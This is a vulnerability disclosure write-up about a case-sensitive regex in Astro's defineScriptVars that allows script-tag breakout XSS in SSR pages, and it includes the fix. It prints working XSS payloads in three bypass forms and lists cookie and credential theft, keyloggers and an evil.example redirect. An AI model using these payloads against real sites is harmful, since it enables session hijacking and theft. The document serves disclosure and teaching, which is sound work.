TL;DR — Astro's defineScriptVars sanitizes user input injected into inline <script> blocks using a case-sensitive regex /<\/script>/g. HTML parsers are case-insensitive and accept whitespace or / before the closing >. Payloads like </Script>, </script >, or </script/> bypass the filter entirely. Any SSR Astro page passing request-derived data to define:vars is vulnerable to reflected or stored XSS. Patched in 6.1.6. Assigned CVE-2026-41067, CVSS 6.1.

background

Astro is a modern web framework for content-driven websites. 58,000+ GitHub stars, one of the most popular frameworks in the current generation of JS tooling. It backs the Cloudflare docs, Netlify docs, and a long list of marketing and documentation sites you've probably clicked through this month. Its pitch is "ship zero JS by default" with opt-in islands of interactivity — which means a lot of the time you're writing plain HTML with small slivers of JavaScript sprinkled in.

One of those slivers is define:vars — a directive that lets you pass variables from the server into a client-side <script> block:

---
const userName = Astro.url.searchParams.get('name') ?? 'stranger';
---
<script define:vars={{ userName }}>
  console.log(`hello, ${userName}`);
</script>

Astro serializes userName at render time and prepends const userName = ... to the inline script body. This is an extremely common pattern in SSR Astro apps — hydration state, feature flags, per-request data, anything you want the browser to see.

Anywhere user input can flow into that variable, the sanitization had better be airtight.

the target

  • Package: astro on npm
  • Vulnerable range: <= 6.1.1
  • Patched in: 6.1.6
  • Mode: SSR only (output: 'server' in astro.config.mjs)
  • Precondition: request-derived data reaches a define:vars binding on a <script> tag

The last point is important. The bug doesn't trigger on statically rendered pages and doesn't trigger if you only put trusted constants into define:vars. It triggers specifically when a query string, cookie, form body, or anything else an attacker can influence ends up bound to a define:vars key. That said — it's a documented, expected usage pattern, and the framework doesn't warn against it.

the interesting part

Here's the sanitization function, at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
  let output = '';
  for (const [key, value] of Object.entries(vars)) {
    output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
      /<\/script>/g,
      '\\x3C/script>',
    )};\n`;
  }
  return markHTMLString(output);
}

Twelve lines, and the critical one is /<\/script>/g.

The intent is correct. JSON.stringify doesn't escape < or /, so if someone passes </script> as a string value it'd land verbatim inside the inline script and close it early. The regex replaces any literal </script> with \x3C/script> — a hex-escaped < that JavaScript reads back as the same string but the HTML tokenizer never recognizes as a closing tag.

The problem: that regex matches </script> exactly. Case-sensitive, no trailing whitespace, no self-closing slash. The HTML spec allows far more.

the spec is weirder than you remember

Per the HTML Living Standard §13.2.6.4, end-tag tokenization runs through a small state machine. From the "tag name" state, the tokenizer can leave via:

  1. ASCII whitespace (\t, \n, \f, ) — enters the "before attribute name" state. End tags can even have attributes syntactically; the parser discards them but still accepts the >.
  2. Solidus (/) — enters the "self-closing start tag" state. On closing tags this is ignored, but the > still closes the element.
  3. Greater-than (>) — emits the tag.

Tag names are compared ASCII case-insensitively to the element's name. <Script> and <SCRIPT> are the same tag.

Combine all of that and Astro's regex misses three classes of valid closing tags:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT>
  2. Whitespace before >: </script >, </script\t>, </script\n>
  3. Self-closing slash: </script/>, </script />

JSON.stringify doesn't escape <, >, /, or whitespace characters, so all three forms pass through serialization unchanged and land inside the inline script. The browser's parser matches them — Astro's regex doesn't.

proof of concept

A minimal SSR Astro page at src/pages/index.astro:

---
const name = Astro.url.searchParams.get('name') ?? 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>

SSR enabled in astro.config.mjs:

export default defineConfig({
  output: 'server',
});

Start the dev server and visit:

http://localhost:4321/?name=</Script><img src=x onerror=alert(document.cookie)>

View source:

<script>const name = "</Script><img src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The regex didn't match </Script> — capital S. JSON.stringify left the < untouched. The payload landed inside the script verbatim. The browser's HTML parser reads </Script> case-insensitively, closes the script element there, and parses the rest as HTML. The <img onerror> fires, alert(document.cookie) runs.

All three bypass classes work:

/?name=</Script><img src=x onerror=alert(1)>       # case
/?name=</script ><img src=x onerror=alert(1)>      # whitespace
/?name=</script/><img src=x onerror=alert(1)>      # self-closing

what this means

An SSR Astro application is affected if both:

  • output: 'server' (or hybrid with dynamic routes that use SSR), and
  • user-controlled input reaches a define:vars binding on a <script> element.

Practical impact is full XSS in the victim's browser session on the origin of the vulnerable page:

Capability Notes
Cookie theft document.cookie if session cookies are not HttpOnly
Session hijacking When session tokens live in JS-readable cookies or localStorage
Credential theft Injected login forms, keyloggers, phishing overlays
Defacement Arbitrary DOM manipulation
Redirection location = 'https://evil.example'

The CVSS vector is AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1 Medium. UI:R because the victim has to load the crafted URL; scope-changed because code runs in the victim's browser on the vulnerable origin. No auth required.

Not CVSS 10 — this is not unauth RCE. But it's the kind of XSS that slips through code review precisely because the sanitization looks correct. "We replace </script> with an escape, so we're safe" is the wrong mental model.

hardening

The fix landed in Astro 6.1.6. The correct pattern — used by Next.js, Rails, and Express' various JSON-in-script helpers — is to escape every < in the serialized JSON, not just the literal </script> form:

export function defineScriptVars(vars: Record<any, any>) {
  let output = '';
  for (const [key, value] of Object.entries(vars)) {
    output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
      /</g,
      '\\u003c',
    )};\n`;
  }
  return markHTMLString(output);
}

\u003c is a JSON-string-literal escape for <. JavaScript evaluates it back to < at runtime, so the variable's string value is unchanged. But the raw HTML the browser's tokenizer sees never contains a < character inside the script body, so there's no way to close the element early — no matter what case, whitespace, or slash the attacker tries.

This is the right fix for any "I need to safely embed JSON inside an inline <script>" scenario. Characters worth escaping are at minimum <, >, &, \u2028, and \u2029. < alone stops closing-tag injection; the others prevent <!-- comment-state surprises and line-separator issues inside JSON strings.

The broader lesson: if you're sanitizing for an HTML context, match the HTML tokenizer's behavior, not a simplified mental model of it. The spec has states, transitions, and case-folding rules — a single regex rarely covers them. Either escape the dangerous character class completely, or defer to a serializer that was written against the spec.

conclusion

defineScriptVars was twelve lines. The bug was one regex. The underlying mistake was assuming the string an author would write as </script> is the same string the parser will accept. It isn't.

Most framework bugs in this class fall into the same trap: sanitization written against a fictional, well-behaved input surface, rather than the one the standard actually defines. The instinct worth cultivating when reviewing HTML-context sanitization is escape the dangerous character class completely, not a specific token. <, not </script>. Then there's no tokenizer state machine to out-smart you.

Astro shipped 6.1.6 with the fix. If you're running any version <= 6.1.1 in SSR mode with user input flowing into define:vars, upgrade.

This research was conducted for educational and responsible disclosure purposes. Reported to Astro on 2026-03-28, coordinated disclosure and publication 2026-04-20.